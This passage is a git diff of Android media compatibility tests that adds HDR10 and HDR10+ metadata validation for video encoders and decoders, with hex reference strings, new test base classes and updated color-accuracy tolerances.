c3 c2 00"); + HDR_DYNAMIC_INCORRECT_INFO.put(4, "b5 00 3c 00 01 04 00 40 00 0c 80 4e 20 27 10 00" + + "0a 00 00 24 08 00 00 28 00 00 50 00 28 c8 00 c9" + + "90 02 aa 58 05 ca d0 0c 0a f8 16 83 18 9c 18 00" + + "40 78 13 64 d5 7c 2e 2c c3 59 de 79 6e c3 c2 01"); + HDR_DYNAMIC_INCORRECT_INFO.put(12, "b5 00 3c 00 01 04 00 40 00 0c 80 4e 20 27 10 00" + + "0e 80 00 24 08 00 00 28 00 00 50 00 28 c8 00 c9" + + "90 02 aa 58 05 ca d0 0c 0a f8 16 83 18 9c 18 00" + + "40 78 13 64 d5 7c 2e 2c c3 59 de 79 6e c3 c2 02"); + HDR_DYNAMIC_INCORRECT_INFO.put(22, "b5 00 3c 00 01 04 00 40 00 0c 80 4e 20 27 10 00" + + "0e 80 00 24 08 00 00 28 00 00 50 00 28 c8 00 c9" + + "90 02 aa 58 05 ca d0 0c 0a f8 16 83 18 9c 18 00" + + "40 78 13 64 d5 7c 2e 2c c3 59 de 79 6e c3 c2 03"); } static int[] combine(int[] first, int[] second) { @@ -845,6 +867,22 @@ abstract class CodecTestBase { return isSupported; } + static boolean isHDREditingSupported() { + MediaCodecList mcl = new MediaCodecList(MediaCodecList.REGULAR_CODECS); + for (MediaCodecInfo codecInfo : mcl.getCodecInfos()) { + if (!codecInfo.isEncoder()) { + continue; + } + for (String mediaType : codecInfo.getSupportedTypes()) { + CodecCapabilities caps = codecInfo.getCapabilitiesForType(mediaType); + if (caps != null && caps.isFeatureSupported(FEATURE_HdrEditing)) { + return true; + } + } + } + return false; + } + static boolean doesAnyFormatHaveHDRProfile(String mime, ArrayList<MediaFormat> formats) { int[] profileArray = mProfileHdrMap.get(mime); if (profileArray != null) { @@ -1348,6 +1386,12 @@ abstract class CodecTestBase { return Arrays.copyOfRange(tempArray, 0, i); } + void insertHdrDynamicInfo(byte[] info) { + final Bundle params = new Bundle(); + params.putByteArray(MediaFormat.KEY_HDR10_PLUS_INFO, info); + mCodec.setParameters(params); + } + boolean isFormatSimilar(MediaFormat inpFormat, MediaFormat outFormat) { if (inpFormat == null || outFormat == null) return false; String inpMime = inpFormat.getString(MediaFormat.KEY_MIME); @@ -1406,41 +1450,26 @@ abstract class CodecTestBase { } } - void validateHDRStaticMetaData(MediaFormat fmt, ByteBuffer hdrStaticRef) { - ByteBuffer hdrStaticInfo = fmt.getByteBuffer(MediaFormat.KEY_HDR_STATIC_INFO, null); - assertNotNull("No HDR static metadata present in format : " + fmt, hdrStaticInfo); - if (!hdrStaticRef.equals(hdrStaticInfo)) { + void validateHDRInfo(MediaFormat fmt, String hdrInfoKey, ByteBuffer hdrInfoRef) { + ByteBuffer hdrInfo = fmt.getByteBuffer(hdrInfoKey, null); + assertNotNull("No " + hdrInfoKey + " present in format : " + fmt, hdrInfo); + if (!hdrInfoRef.equals(hdrInfo)) { StringBuilder refString = new StringBuilder(""); StringBuilder testString = new StringBuilder(""); - byte[] ref = new byte[hdrStaticRef.capacity()]; - hdrStaticRef.get(ref); - byte[] test = new byte[hdrStaticInfo.capacity()]; - hdrStaticInfo.get(test); - for (int i = 0; i < Math.min(ref.length, test.length); i++) { + byte[] ref = new byte[hdrInfoRef.capacity()]; + hdrInfoRef.get(ref); + hdrInfoRef.rewind(); + byte[] test = new byte[hdrInfo.capacity()]; + hdrInfo.get(test); + hdrInfo.rewind(); + for (int i = 0; i < ref.length; i++) { refString.append(String.format("%2x ", ref[i])); - testString.append(String.format("%2x ", test[i])); } - fail("hdr static info mismatch" + "\n" + "ref static info : " + refString + "\n" + - "test static info : " + testString); - } - } - - void validateHDRDynamicMetaData(MediaFormat fmt, ByteBuffer hdrDynamicRef) { - ByteBuffer hdrDynamicInfo = fmt.getByteBuffer(MediaFormat.KEY_HDR10_PLUS_INFO, null); - assertNotNull("No HDR dynamic metadata present in format : " + fmt, hdrDynamicInfo); - if (!hdrDynamicRef.equals(hdrDynamicInfo)) { - StringBuilder refString = new StringBuilder(""); - StringBuilder testString = new StringBuilder(""); - byte[] ref = new byte[hdrDynamicRef.capacity()]; - hdrDynamicRef.get(ref); - byte[] test = new byte[hdrDynamicInfo.capacity()]; - hdrDynamicInfo.get(test); - for (int i = 0; i < Math.min(ref.length, test.length); i++) { - refString.append(String.format("%2x ", ref[i])); + for (int i = 0; i < test.length; i++) { testString.append(String.format("%2x ", test[i])); } - fail("hdr dynamic info mismatch" + "\n" + "ref dynamic info : " + refString + "\n" + - "test dynamic info : " + testString); + fail(hdrInfoKey + " mismatch in codec " + mCodecName + "\nref info : " + refString + + "\n test info : " + testString); } } @@ -1662,15 +1691,8 @@ class CodecDecoderTestBase extends CodecTestBase { int height = format.getInteger(MediaFormat.KEY_HEIGHT); int stride = format.getInteger(MediaFormat.KEY_STRIDE); mOutputBuff.checksum(buf, info.size, width, height, stride, bytesPerSample); - - if (mTestDynamicMetadata) { - validateHDRDynamicMetaData(mCodec.getOutputFormat(), ByteBuffer - .wrap(loadByteArrayFromString(HDR_DYNAMIC_INFO[mOutputCount]))); - - } } } - if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) { mSawOutputEOS = true; } @@ -1790,57 +1812,18 @@ class CodecDecoderTestBase extends CodecTestBase { mCodec.release(); mExtractor.release(); } - - void validateHDRStaticMetaData(String parent, String name, ByteBuffer HDRStatic, - boolean ignoreContainerStaticInfo) - throws IOException, InterruptedException { - mOutputBuff = new OutputManager(); - MediaFormat format = setUpSource(parent, name); - if (ignoreContainerStaticInfo) { - format.removeKey(MediaFormat.KEY_HDR_STATIC_INFO); - } - mCodec = MediaCodec.createByCodecName(mCodecName); - configureCodec(format, true, true, false); - mCodec.start(); - doWork(10); - queueEOS(); - waitForAllOutputs(); - validateHDRStaticMetaData(mCodec.getOutputFormat(), HDRStatic); - mCodec.stop(); - mCodec.release(); - mExtractor.release(); - } - - void validateHDRDynamicMetaData(String parent, String name, boolean ignoreContainerDynamicInfo) - throws IOException, InterruptedException { - mOutputBuff = new OutputManager(); - MediaFormat format = setUpSource(parent, name); - if (ignoreContainerDynamicInfo) { - format.removeKey(MediaFormat.KEY_HDR10_PLUS_INFO); - } - mCodec = MediaCodec.createByCodecName(mCodecName); - configureCodec(format, true, true, false); - mCodec.start(); - doWork(10); - queueEOS(); - waitForAllOutputs(); - mCodec.stop(); - mCodec.release(); - mExtractor.release(); - } } class CodecEncoderTestBase extends CodecTestBase { private static final String LOG_TAG = CodecEncoderTestBase.class.getSimpleName(); // files are in WorkDir.getMediaDirString(); - private static final String INPUT_AUDIO_FILE = "bbb_2ch_44kHz_s16le.raw"; - private static final String INPUT_VIDEO_FILE = "bbb_cif_yuv420p_30fps.yuv"; + protected static final String INPUT_AUDIO_FILE = "bbb_2ch_44kHz_s16le.raw"; + protected static final String INPUT_VIDEO_FILE = "bbb_cif_yuv420p_30fps.yuv"; protected static final String INPUT_AUDIO_FILE_HBD = "audio/sd_2ch_48kHz_f32le.raw"; protected static final String INPUT_VIDEO_FILE_HBD = "cosmat_cif_24fps_yuv420p16le.yuv"; - - private final int INP_FRM_WIDTH = 352; - private final int INP_FRM_HEIGHT = 288; + protected final int INP_FRM_WIDTH = 352; + protected final int INP_FRM_HEIGHT = 288; final String mMime; final int[] mBitrates; @@ -2199,3 +2182,241 @@ class CodecEncoderTestBase extends CodecTestBase { return cdtb.mOutputBuff.getBuffer(); } } + +class HDRDecoderTestBase extends CodecDecoderTestBase { + private static final String LOG_TAG = HDRDecoderTestBase.class.getSimpleName(); + + private ByteBuffer mHdrStaticInfoRef; + private ByteBuffer mHdrStaticInfoStream; + private ByteBuffer mHdrStaticInfoContainer; + private Map<Integer, String> mHdrDynamicInfoRef; + private Map<Integer, String> mHdrDynamicInfoStream; + private Map<Integer, String> mHdrDynamicInfoContainer; + private String mHdrDynamicInfoCurrent; + + public HDRDecoderTestBase(String decoder, String mime, String testFile) { + super(decoder, mime, testFile); + } + + void enqueueInput(int bufferIndex) { + if (mHdrDynamicInfoContainer != null && mHdrDynamicInfoContainer.containsKey(mInputCount) && + mExtractor.getSampleSize() != -1) { + insertHdrDynamicInfo( + loadByteArrayFromString(mHdrDynamicInfoContainer.get(mInputCount))); + } + super.enqueueInput(bufferIndex); + } + + void dequeueOutput(int bufferIndex, MediaCodec.BufferInfo info) { + if (info.size > 0 && mHdrDynamicInfoRef != null) { + MediaFormat format = mCodec.getOutputFormat(bufferIndex); + if (mHdrDynamicInfoRef.containsKey(mOutputCount)) { + mHdrDynamicInfoCurrent = mHdrDynamicInfoRef.get(mOutputCount); + } + validateHDRInfo(format, MediaFormat.KEY_HDR10_PLUS_INFO, + ByteBuffer.wrap(loadByteArrayFromString(mHdrDynamicInfoCurrent))); + } + super.dequeueOutput(bufferIndex, info); + } + + void validateHDRInfo(String hdrStaticInfoStream, String hdrStaticInfoContainer, + Map<Integer, String> hdrDynamicInfoStream, + Map<Integer, String> hdrDynamicInfoContainer) throws IOException, + InterruptedException { + mHdrStaticInfoStream = hdrStaticInfoStream != null ? + ByteBuffer.wrap(loadByteArrayFromString(hdrStaticInfoStream)) : null; + mHdrStaticInfoContainer = hdrStaticInfoContainer != null ? + ByteBuffer.wrap(loadByteArrayFromString(hdrStaticInfoContainer)) : null; + mHdrStaticInfoRef = mHdrStaticInfoStream == null ? mHdrStaticInfoContainer : + mHdrStaticInfoStream; + mHdrDynamicInfoStream = hdrDynamicInfoStream; + mHdrDynamicInfoContainer = hdrDynamicInfoContainer; + mHdrDynamicInfoRef = hdrDynamicInfoStream == null ? hdrDynamicInfoContainer : + hdrDynamicInfoStream; + + assertTrue("reference hdr10/hdr10+ info is not supplied for validation", + mHdrDynamicInfoRef != null || mHdrStaticInfoRef != null); + + if (mHdrDynamicInfoStream != null || mHdrDynamicInfoContainer != null) { + Assume.assumeNotNull("Test is only applicable to codecs that have HDR10+ profiles", + mProfileHdr10PlusMap.get(mMime)); + } + if (mHdrStaticInfoStream != null || mHdrStaticInfoContainer != null) { + Assume.assumeNotNull("Test is only applicable to codecs that have HDR10 profiles", + mProfileHdr10Map.get(mMime)); + } + + File fObj = new File(mTestFile); + String parent = fObj.getParent(); + if (parent != null) parent += File.separator; + else parent = mInpPrefix; + Preconditions.assertTestFileExists(parent + fObj.getName()); + // For decoders, if you intend to supply hdr10+ info using external means like json, make + // sure that info that is being supplied is in sync with SEI info + if (mHdrDynamicInfoStream != null && mHdrDynamicInfoContainer != null) { + assertEquals("Container hdr10+ info size and elementary stream SEI hdr10+ " + + "info size are unequal", mHdrDynamicInfoStream.size(), + mHdrDynamicInfoContainer.size()); + for (Map.Entry<Integer, String> element : mHdrDynamicInfoStream.entrySet()) { + assertTrue("Container hdr10+ info and elementary stream SEI hdr10+ " + + "info frame positions are not in sync", + mHdrDynamicInfoContainer.containsKey(element.getKey())); + } + } + mOutputBuff = new OutputManager(); + MediaFormat format = setUpSource(parent, fObj.getName()); + if (mHdrDynamicInfoStream != null || mHdrDynamicInfoContainer != null) { + format.setInteger(MediaFormat.KEY_PROFILE, mProfileHdr10PlusMap.get(mMime)[0]); + } else { + format.setInteger(MediaFormat.KEY_PROFILE, mProfileHdr10Map.get(mMime)[0]); + } + ArrayList<MediaFormat> formatList = new ArrayList<>(); + formatList.add(format); + Assume.assumeTrue(mCodecName + " does not support HDR10/HDR10+ profile", + areFormatsSupported(mCodecName, mMime, formatList)); + mCodec = MediaCodec.createByCodecName(mCodecName); + configureCodec(format, false, true, false); + mCodec.start(); + doWork(Integer.MAX_VALUE); + queueEOS(); + waitForAllOutputs(); + if (mHdrStaticInfoRef != null) { + validateHDRInfo(mCodec.getOutputFormat(), MediaFormat.KEY_HDR_STATIC_INFO, + mHdrStaticInfoRef); + } + mCodec.stop(); + mCodec.release(); + mExtractor.release(); + } +} + +class HDREncoderTestBase extends CodecEncoderTestBase { + private static final String LOG_TAG = HDREncoderTestBase.class.getSimpleName(); + + private ByteBuffer mHdrStaticInfo; + private Map<Integer, String> mHdrDynamicInfo; + + private MediaMuxer mMuxer; + private int mTrackID = -1; + + public HDREncoderTestBase(String encoderName, String mediaType, int bitrate, int width, + int height) { + super(encoderName, mediaType, new int[]{bitrate}, new int[]{width}, new int[]{height}); + } + + void enqueueInput(int bufferIndex) { + if (mHdrDynamicInfo != null && mHdrDynamicInfo.containsKey(mInputCount)) { + insertHdrDynamicInfo(loadByteArrayFromString(mHdrDynamicInfo.get(mInputCount))); + } + super.enqueueInput(bufferIndex); + } + + void dequeueOutput(int bufferIndex, MediaCodec.BufferInfo info) { + MediaFormat bufferFormat = mCodec.getOutputFormat(bufferIndex); + if (info.size > 0) { + ByteBuffer buf = mCodec.getOutputBuffer(bufferIndex); + if (mMuxer != null) { + if (mTrackID == -1) { + mTrackID = mMuxer.addTrack(bufferFormat); + mMuxer.start(); + } + mMuxer.writeSampleData(mTrackID, buf, info); + } + } + super.dequeueOutput(bufferIndex, info); + } + + void validateHDRInfo(String hdrStaticInfo, Map<Integer, String> hdrDynamicInfo) + throws IOException, InterruptedException { + mHdrStaticInfo = hdrStaticInfo != null ? + ByteBuffer.wrap(loadByteArrayFromString(hdrStaticInfo)) : null; + mHdrDynamicInfo = hdrDynamicInfo; + + setUpParams(1); + + MediaFormat format = mFormats.get(0); + format.setInteger(MediaFormat.KEY_COLOR_FORMAT, COLOR_FormatYUVP010); + format.setInteger(MediaFormat.KEY_COLOR_RANGE, MediaFormat.COLOR_RANGE_LIMITED); + format.setInteger(MediaFormat.KEY_COLOR_STANDARD, MediaFormat.COLOR_STANDARD_BT2020); + format.setInteger(MediaFormat.KEY_COLOR_TRANSFER, MediaFormat.COLOR_TRANSFER_ST2084); + int profile = (mHdrDynamicInfo != null) ? mProfileHdr10PlusMap.get(mMime)[0] : + mProfileHdr10Map.get(mMime)[0]; + format.setInteger(MediaFormat.KEY_PROFILE, profile); + + if (mHdrStaticInfo != null) { + format.setByteBuffer(MediaFormat.KEY_HDR_STATIC_INFO, mHdrStaticInfo); + } + Assume.assumeTrue(mCodecName + " does not support HDR10/HDR10+ profile " + profile, + areFormatsSupported(mCodecName, mMime, mFormats)); + Assume.assumeTrue(mCodecName + " does not support color format COLOR_FormatYUVP010", + hasSupportForColorFormat(mCodecName, mMime, COLOR_FormatYUVP010)); + + mBytesPerSample = 2; + setUpSource(INPUT_VIDEO_FILE_HBD); + + int frameLimit = 4; + if (mHdrDynamicInfo != null) { + Integer lastHdr10PlusFrame = + Collections.max(HDR_DYNAMIC_INFO.entrySet(), Map.Entry.comparingByKey()) + .getKey(); + frameLimit = lastHdr10PlusFrame + 10; + } + int maxNumFrames = mInputData.length / (INP_FRM_WIDTH * INP_FRM_HEIGHT * mBytesPerSample); + assertTrue("HDR info tests require input file with at least " + frameLimit + + " frames. " + INPUT_VIDEO_FILE_HBD + " has " + maxNumFrames + " frames.", + frameLimit <= maxNumFrames); + + mOutputBuff = new OutputManager(); + mCodec = MediaCodec.createByCodecName(mCodecName); + File tmpFile; + int muxerFormat; + if (mMime.equals(MediaFormat.MIMETYPE_VIDEO_VP9)) { + muxerFormat = MediaMuxer.OutputFormat.MUXER_OUTPUT_WEBM; + tmpFile = File.createTempFile("tmp10bit", ".webm"); + } else { + muxerFormat = MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4; + tmpFile = File.createTempFile("tmp10bit", ".mp4"); + } + mMuxer = new MediaMuxer(tmpFile.getAbsolutePath(), muxerFormat); + configureCodec(format, true, true, true); + mCodec.start(); + doWork(frameLimit); + queueEOS(); + waitForAllOutputs(); + if (mTrackID != -1) { + mMuxer.stop(); + mTrackID = -1; + } + if (mMuxer != null) { + mMuxer.release(); + mMuxer = null; + } + String log = String.format("format: %s \n codec: %s:: ", format, mCodecName); + assertTrue(log + "unexpected error", !mAsyncHandle.hasSeenError()); + assertTrue(log + "no input sent", 0 != mInputCount); + assertTrue(log + "output received", 0 != mOutputCount); + + MediaFormat fmt = mCodec.getOutputFormat(); + + mCodec.stop(); + mCodec.release(); + if (mHdrStaticInfo != null) { + // verify if the out fmt contains HDR Static info as expected + validateHDRInfo(fmt, MediaFormat.KEY_HDR_STATIC_INFO, mHdrStaticInfo); + } + + // verify if the muxed file contains HDR Dynamic info as expected + MediaCodecList codecList = new MediaCodecList(MediaCodecList.REGULAR_CODECS); + String decoder = codecList.findDecoderForFormat(format); + assertNotNull("Device advertises support for encoding " + format + " but not decoding it", + decoder); + + HDRDecoderTestBase decoderTest = new HDRDecoderTestBase(decoder, mMime, + tmpFile.getAbsolutePath()); + decoderTest.validateHDRInfo(hdrStaticInfo, hdrStaticInfo, mHdrDynamicInfo, mHdrDynamicInfo); + if (HDR_INFO_IN_BITSTREAM_CODECS.contains(mMime)) { + decoderTest.validateHDRInfo(hdrStaticInfo, null, mHdrDynamicInfo, null); + } + tmpFile.delete(); + } +} diff --git a/tests/media/src/android/mediav2/cts/DecodeGlAccuracyTest.java b/tests/media/src/android/mediav2/cts/DecodeGlAccuracyTest.java index eff586039dd..518ff8610a8 100644 --- a/tests/media/src/android/mediav2/cts/DecodeGlAccuracyTest.java +++ b/tests/media/src/android/mediav2/cts/DecodeGlAccuracyTest.java @@ -28,6 +28,8 @@ import android.util.Log; import androidx.test.filters.LargeTest; +import com.android.compatibility.common.util.ApiTest; + import org.junit.Test; import org.junit.runner.RunWith; import org.junit.runners.Parameterized; @@ -222,23 +224,23 @@ public class DecodeGlAccuracyTest extends CodecDecoderTestBase { MediaFormat.COLOR_TRANSFER_SDR_VIDEO}, // 601FR - {MediaFormat.MIMETYPE_VIDEO_AVC, "color_bands_176x176_h264_8bit.mp4", + {MediaFormat.MIMETYPE_VIDEO_AVC, "color_bands_176x176_h264_8bit_fr.mp4", MediaFormat.COLOR_RANGE_FULL, MediaFormat.COLOR_STANDARD_BT601_NTSC, MediaFormat.COLOR_TRANSFER_SDR_VIDEO}, - {MediaFormat.MIMETYPE_VIDEO_HEVC, "color_bands_176x176_hevc_8bit.mp4", + {MediaFormat.MIMETYPE_VIDEO_HEVC, "color_bands_176x176_hevc_8bit_fr.mp4", MediaFormat.COLOR_RANGE_FULL, MediaFormat.COLOR_STANDARD_BT601_NTSC, MediaFormat.COLOR_TRANSFER_SDR_VIDEO}, - {MediaFormat.MIMETYPE_VIDEO_VP8, "color_bands_176x176_vp8_8bit.webm", + {MediaFormat.MIMETYPE_VIDEO_VP8, "color_bands_176x176_vp8_8bit_fr.webm", MediaFormat.COLOR_RANGE_FULL, MediaFormat.COLOR_STANDARD_BT601_NTSC, MediaFormat.COLOR_TRANSFER_SDR_VIDEO}, - {MediaFormat.MIMETYPE_VIDEO_VP9, "color_bands_176x176_vp9_8bit.webm", + {MediaFormat.MIMETYPE_VIDEO_VP9, "color_bands_176x176_vp9_8bit_fr.webm", MediaFormat.COLOR_RANGE_FULL, MediaFormat.COLOR_STANDARD_BT601_NTSC, MediaFormat.COLOR_TRANSFER_SDR_VIDEO}, - {MediaFormat.MIMETYPE_VIDEO_AV1, "color_bands_176x176_av1_8bit.webm", + {MediaFormat.MIMETYPE_VIDEO_AV1, "color_bands_176x176_av1_8bit_fr.webm", MediaFormat.COLOR_RANGE_FULL, MediaFormat.COLOR_STANDARD_BT601_NTSC, MediaFormat.COLOR_TRANSFER_SDR_VIDEO}, @@ -334,6 +336,12 @@ public class DecodeGlAccuracyTest extends CodecDecoderTestBase { * The OpenGL fragment shader reads the frame buffers as externl textures and renders to * a pbuffer. The output RGB values are read and compared against the expected values. */ + @ApiTest(apis = {"android.media.MediaCodec#dequeueOutputBuffer", + "android.media.MediaCodec#releaseOutputBuffer", + "android.media.MediaCodec.Callback#onOutputBufferAvailable", + "android.media.MediaFormat#setInteger(KEY_COLOR_RANGE)", + "android.media.MediaFormat#setInteger(KEY_COLOR_STANDARD)", + "android.media.MediaFormat#setInteger(KEY_COLOR_TRANSFER)"}) @LargeTest @Test(timeout = CodecTestBase.PER_TEST_TIMEOUT_LARGE_TEST_MS) public void testDecodeGlAccuracyRGB() throws IOException, InterruptedException { @@ -364,6 +372,17 @@ public class DecodeGlAccuracyTest extends CodecDecoderTestBase { mWidth = format.getInteger(MediaFormat.KEY_WIDTH); mHeight = format.getInteger(MediaFormat.KEY_HEIGHT); mEGLWindowOutSurface = new OutputSurface(mWidth, mHeight, false, mUseYuvSampling); + + // If device supports HDR editing, then GL_EXT_YUV_target extension support is mandatory + if (mUseYuvSampling) { + String message = "Device doesn't support EXT_YUV_target GL extension"; + if (IS_AT_LEAST_T && IS_HDR_EDITING_SUPPORTED) { + assertTrue(message, mEGLWindowOutSurface.getEXTYuvTargetSupported()); + } else { + assumeTrue(message, mEGLWindowOutSurface.getEXTYuvTargetSupported()); + } + } + mSurface = mEGLWindowOutSurface.getSurface(); mCodec = MediaCodec.createByCodecName(mCompName); diff --git a/tests/media/src/android/mediav2/cts/DecoderHDRInfoTest.java b/tests/media/src/android/mediav2/cts/DecoderHDRInfoTest.java index 3dd28aa48c3..4994a9bc987 100644 --- a/tests/media/src/android/mediav2/cts/DecoderHDRInfoTest.java +++ b/tests/media/src/android/mediav2/cts/DecoderHDRInfoTest.java @@ -22,6 +22,8 @@ import android.os.Build; import androidx.test.filters.SdkSuppress; import androidx.test.filters.SmallTest; +import com.android.compatibility.common.util.CddTest; + import org.junit.Assume; import org.junit.Test; import org.junit.runner.RunWith; @@ -29,34 +31,34 @@ import org.junit.runners.Parameterized; import java.io.IOException; import java.nio.ByteBuffer; -import java.util.ArrayList; import java.util.Arrays; import java.util.Collection; import java.util.List; +import java.util.Map; /** - * Test to validate hdr static metadata in decoders + * Test to validate hdr static info in decoders */ @RunWith(Parameterized.class) // P010 support was added in Android T, hence limit the following tests to Android T and above @SdkSuppress(minSdkVersion = Build.VERSION_CODES.TIRAMISU, codeName = "Tiramisu") -public class DecoderHDRInfoTest extends CodecDecoderTestBase { +public class DecoderHDRInfoTest extends HDRDecoderTestBase { private static final String LOG_TAG = DecoderHDRInfoTest.class.getSimpleName(); - private static final String HDR_STATIC_INFO = - "00 d0 84 80 3e c2 33 c4 86 4c 1d b8 0b 13 3d 42 40 a0 0f 32 00 10 27 df 0d"; - private static final String HDR_STATIC_INCORRECT_INFO = - "00 d0 84 80 3e c2 33 c4 86 10 27 d0 07 13 3d 42 40 a0 0f 32 00 10 27 df 0d"; - private final ByteBuffer mHDRStaticInfoStream; - private final ByteBuffer mHDRStaticInfoContainer; + private String mHDRStaticInfoStream; + private String mHDRStaticInfoContainer; + private Map<Integer, String> mHDRDynamicInfoStream; + private Map<Integer, String> mHDRDynamicInfoContainer; public DecoderHDRInfoTest(String codecName, String mediaType, String testFile, - String hdrStaticInfoStream, String hdrStaticInfoContainer) { + String hdrStaticInfoStream, String hdrStaticInfoContainer, + Map<Integer, String> HDRDynamicInfoStream, + Map<Integer, String> HDRDynamicInfoContainer) { super(codecName, mediaType, testFile); - mHDRStaticInfoStream = hdrStaticInfoStream != null ? - ByteBuffer.wrap(loadByteArrayFromString(hdrStaticInfoStream)) : null; - mHDRStaticInfoContainer = hdrStaticInfoContainer != null ? - ByteBuffer.wrap(loadByteArrayFromString(hdrStaticInfoContainer)) : null; + mHDRStaticInfoStream = hdrStaticInfoStream; + mHDRStaticInfoContainer = hdrStaticInfoContainer; + mHDRDynamicInfoStream = HDRDynamicInfoStream; + mHDRDynamicInfoContainer = HDRDynamicInfoContainer; } @Parameterized.Parameters(name = "{index}({0}_{1})") @@ -65,64 +67,50 @@ public class DecoderHDRInfoTest extends CodecDecoderTestBase { final boolean needAudio = false; final boolean needVideo = true; final List<Object[]> exhaustiveArgsList = Arrays.asList(new Object[][]{ - // codecMediaType, testFile, hdrInfo in stream, hdrInfo in container + // codecMediaType, testFile, hdrStaticInfo in stream, hdrStaticInfo in container, + // hdrDynamicInfo in stream, hdrDynamicInfo in container {MediaFormat.MIMETYPE_VIDEO_HEVC, "cosmat_352x288_hdr10_stream_and_container_correct_hevc.mkv", - HDR_STATIC_INFO, HDR_STATIC_INFO}, + HDR_STATIC_INFO, HDR_STATIC_INFO, null, null}, {MediaFormat.MIMETYPE_VIDEO_HEVC, "cosmat_352x288_hdr10_stream_correct_container_incorrect_hevc.mkv", - HDR_STATIC_INFO, HDR_STATIC_INCORRECT_INFO}, + HDR_STATIC_INFO, HDR_STATIC_INCORRECT_INFO, null, null}, {MediaFormat.MIMETYPE_VIDEO_HEVC, "cosmat_352x288_hdr10_only_stream_hevc.mkv", - HDR_STATIC_INFO, null}, + HDR_STATIC_INFO, null, null, null}, {MediaFormat.MIMETYPE_VIDEO_HEVC, "cosmat_352x288_hdr10_only_container_hevc.mkv", - null, HDR_STATIC_INFO}, + null, HDR_STATIC_INFO, null, null}, {MediaFormat.MIMETYPE_VIDEO_VP9, "cosmat_352x288_hdr10_only_container_vp9.mkv", - null, HDR_STATIC_INFO}, + null, HDR_STATIC_INFO, null, null}, {MediaFormat.MIMETYPE_VIDEO_AV1, "cosmat_352x288_hdr10_stream_and_container_correct_av1.mkv", - HDR_STATIC_INFO, HDR_STATIC_INFO}, + HDR_STATIC_INFO, HDR_STATIC_INFO, null, null}, {MediaFormat.MIMETYPE_VIDEO_AV1, "cosmat_352x288_hdr10_stream_correct_container_incorrect_av1.mkv", - HDR_STATIC_INFO, HDR_STATIC_INCORRECT_INFO}, + HDR_STATIC_INFO, HDR_STATIC_INCORRECT_INFO, null, null}, {MediaFormat.MIMETYPE_VIDEO_AV1, "cosmat_352x288_hdr10_only_stream_av1.mkv", - HDR_STATIC_INFO, null}, + HDR_STATIC_INFO, null, null, null}, {MediaFormat.MIMETYPE_VIDEO_AV1, "cosmat_352x288_hdr10_only_container_av1.mkv", - null, HDR_STATIC_INFO}, + null, HDR_STATIC_INFO, null, null}, + {MediaFormat.MIMETYPE_VIDEO_HEVC, "cosmat_352x288_hdr10plus_hevc.mp4", + null, null, HDR_DYNAMIC_INFO, null}, + {MediaFormat.MIMETYPE_VIDEO_HEVC, "cosmat_352x288_hdr10plus_hevc.mp4", + null, null, HDR_DYNAMIC_INFO, HDR_DYNAMIC_INCORRECT_INFO}, + {MediaFormat.MIMETYPE_VIDEO_AV1, "cosmat_352x288_hdr10plus_av1.mkv", + null, null, HDR_DYNAMIC_INFO, null}, + {MediaFormat.MIMETYPE_VIDEO_AV1, "cosmat_352x288_hdr10plus_av1.mkv", + null, null, HDR_DYNAMIC_INFO, HDR_DYNAMIC_INCORRECT_INFO}, + {MediaFormat.MIMETYPE_VIDEO_VP9, "cosmat_352x288_hdr10_only_container_vp9.mkv", + null, null, null, HDR_DYNAMIC_INFO}, + }); return prepareParamList(exhaustiveArgsList, isEncoder, needAudio, needVideo, false); } @SmallTest @Test(timeout = PER_TEST_TIMEOUT_SMALL_TEST_MS) - public void testHDRMetadata() throws IOException, InterruptedException { - int[] Hdr10Profiles = mProfileHdr10Map.get(mMime); - Assume.assumeNotNull("Test is only applicable to codecs that have HDR10 profiles", - Hdr10Profiles); - MediaFormat format = setUpSource(mTestFile); - mExtractor.release(); - ArrayList<MediaFormat> formats = new ArrayList<>(); - formats.add(format); - - // When HDR metadata isn't present in the container, but included in the bitstream, - // extractors may not be able to populate HDR10/HDR10+ profiles correctly. - // In such cases, override the profile - if (mHDRStaticInfoContainer == null && mHDRStaticInfoStream != null) { - int profile = Hdr10Profiles[0]; - format.setInteger(MediaFormat.KEY_PROFILE, profile); - } - Assume.assumeTrue(areFormatsSupported(mCodecName, mMime, formats)); - - if (mHDRStaticInfoContainer != null) { - validateHDRStaticMetaData(format, mHDRStaticInfoContainer); - } - - validateHDRStaticMetaData(mInpPrefix, mTestFile, - mHDRStaticInfoStream == null ? mHDRStaticInfoContainer : mHDRStaticInfoStream, - false); - if (mHDRStaticInfoStream != null) { - if (EncoderHDRInfoTest.mCheckESList.contains(mMime)) { - validateHDRStaticMetaData(mInpPrefix, mTestFile, mHDRStaticInfoStream, true); - } - } + @CddTest(requirements = {"5.3.5/C-3-1", "5.3.7/C-4-1", "5.3.9"}) + public void testHDRInfo() throws IOException, InterruptedException { + validateHDRInfo(mHDRStaticInfoStream, mHDRStaticInfoContainer, mHDRDynamicInfoStream, + mHDRDynamicInfoContainer); } } diff --git a/tests/media/src/android/mediav2/cts/EncodeDecodeAccuracyTest.java b/tests/media/src/android/mediav2/cts/EncodeDecodeAccuracyTest.java index b11343c6632..ebed139fc53 100644 --- a/tests/media/src/android/mediav2/cts/EncodeDecodeAccuracyTest.java +++ b/tests/media/src/android/mediav2/cts/EncodeDecodeAccuracyTest.java @@ -55,9 +55,10 @@ public class EncodeDecodeAccuracyTest extends CodecDecoderTestBase { // qp of the encoded clips shall drop down to < 10. Further the color bands are aligned to 2, // so from downsampling rgb24 to yuv420p, even if bilinear filters are used as opposed to // skipping samples, we may not see large color loss. Hence allowable tolerance is kept to 5. - // until QP stabilizes, the tolerance is set at 7. - private final int TRANSIENT_STATE_COLOR_DELTA = 7; - private final int STEADY_STATE_COLOR_DELTA = 5; + // until QP stabilizes, the tolerance is set at 7. For devices upgrading to T, thresholds are + // relaxed to 8 and 10. + private final int TRANSIENT_STATE_COLOR_DELTA = FIRST_SDK_IS_AT_LEAST_T ? 7: 10; + private final int STEADY_STATE_COLOR_DELTA = FIRST_SDK_IS_AT_LEAST_T ? 5: 8; private final int[][] mColorBars = new int[][]{ {66, 133, 244}, {219, 68, 55}, diff --git a/tests/media/src/android/mediav2/cts/EncoderHDRInfoTest.java b/tests/media/src/android/mediav2/cts/EncoderHDRInfoTest.java index 26c6eb55920..66916e52df8 100644 --- a/tests/media/src/android/mediav2/cts/EncoderHDRInfoTest.java +++ b/tests/media/src/android/mediav2/cts/EncoderHDRInfoTest.java @@ -21,84 